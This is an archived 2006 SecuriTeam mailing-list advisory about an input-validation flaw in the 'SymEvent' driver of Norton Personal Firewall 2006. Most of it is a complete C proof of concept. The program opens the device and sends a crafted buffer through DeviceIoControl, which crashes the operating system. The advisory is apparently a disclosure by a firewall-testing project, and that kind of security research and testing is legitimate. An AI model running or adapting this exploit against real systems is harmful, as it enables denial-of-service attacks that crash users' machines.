

[NT] Symantec Norton Insufficient Validation of 'SymEvent' Driver Input Buffer

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-09/msg00027.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 20 Sep 2006 16:53:13 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Symantec Norton Insufficient Validation of 'SymEvent' Driver Input Buffer

SUMMARY

Norton insufficiently protects its driver '\Device\SymEvent' against a manipulation by malicious applications and it fails to validate its input buffer. It is possible to open this driver and send arbitrary data to it, which are implicitly believed to be valid. It is possible to assemble the data in the input buffer such that the driver performs an invalid memory operation and crashes the whole operating system. Further impacts of this bug were not examined.

DETAILS

Vulnerable software:

- * Norton Personal Firewall 2006 version 9.1.0.33
- * probably all versions of Norton Personal Firewall 2006 and Norton Internet Security 2006
- * possibly older versions of Norton Personal Firewall and Norton Internet Security

Exploit:

/*

[NT] Symantec Norton Insufficient Validation of 'SymEvent' Driver Input Buffer

Testing program for Insufficient validation of "SymEvent" driver input buffer (BTP00011P002NF)

Usage:

prog

(the program is executed without special arguments)

Description:

This program uses standard Windows API CreateFile to open "SymEvent" driver and using DeviceIoControl it sends malicious buffer to the driver that crashes the system.

Test:

Running the testing program.

*/

```
#include <stdio.h>
```

```
#include <windows.h>
```

```
void about(void)
```

```
{
```

```
printf("Testing program for Insufficient validation of \"SymEvent\"  
driver input buffer (BTP00011P002NF)\n");
```

```
printf("Windows Personal Firewall analysis project\n");
```

```
printf("Copyright 2006 by Matousec – Transparent security\n");
```

```
printf("http://www.matousec.com/\n\n");
```

```
return;
```

```
}
```

```
void usage(void)
```

```
{
```

```
printf("Usage: test\n"
```

```
" (the program is executed without special arguments)\n");
```

```
return;
```

```
}
```

```
void print_last_error()
```

```
{
```

```
LPTSTR buf;
```

```
DWORD code=GetLastError();
```

```
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
```

```
FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
```

```
{
```

```
fprintf(stderr,"Error code: %d\n",code);
```

```
fprintf(stderr,"Error message: %s",buf);
```

```
LocalFree(buf);
```

```
} else fprintf(stderr,"Unable to format error message for code
```

```
%d.\n",code);
```

```
return;
```

[NT] Symantec Norton Insufficient Validation of 'SymEvent' Driver Input Buffer

↓

```
int main(int argc, char **argv)
```

```
{
```

```
about();
```

```
if (argc!=1)
```

```
{
```

```
usage();
```

```
return 1;
```

```
}
```

```
HANDLE file=CreateFile("\\\\Global\\SymEvent",GENERIC_READ |
```

```
GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,
```

```
NULL,OPEN_EXISTING,0,NULL);
```

```
if (file!=INVALID_HANDLE_VALUE)
```

```
{
```

```
srand(GetTickCount());
```

```
char bufout[4],bufin[20]="\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1";
```

```
DWORD retlen;
```

```
DeviceIoControl(file,0x00220404,(PVOID)bufin,20,(PVOID)bufout,4,&retlen,NULL);
```

```
} else
```

```
{
```

```
fprintf(stderr,"Unable to open SymEvent device.\n");
```

```
print_last_error();
```

```
fprintf(stderr,"\n");
```

```
}
```

```
printf("\nTEST FAILED!\n");
```

```
return 1;
```

```
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:david@xxxxxxxxxxxx> David

Matousek.

The original article can be found at:

<<http://www.matousec.com/info/advisories/Norton-Insufficient-validation-of-SymEvent-driver-input-buffer.php>>

<http://www.matousec.com/info/advisories/Norton-Insufficient-validation-of-SymEvent-driver-input-buffer.php>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[NT] Symantec Norton Insufficient Validation of 'SymEvent' Driver Input Buffer

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.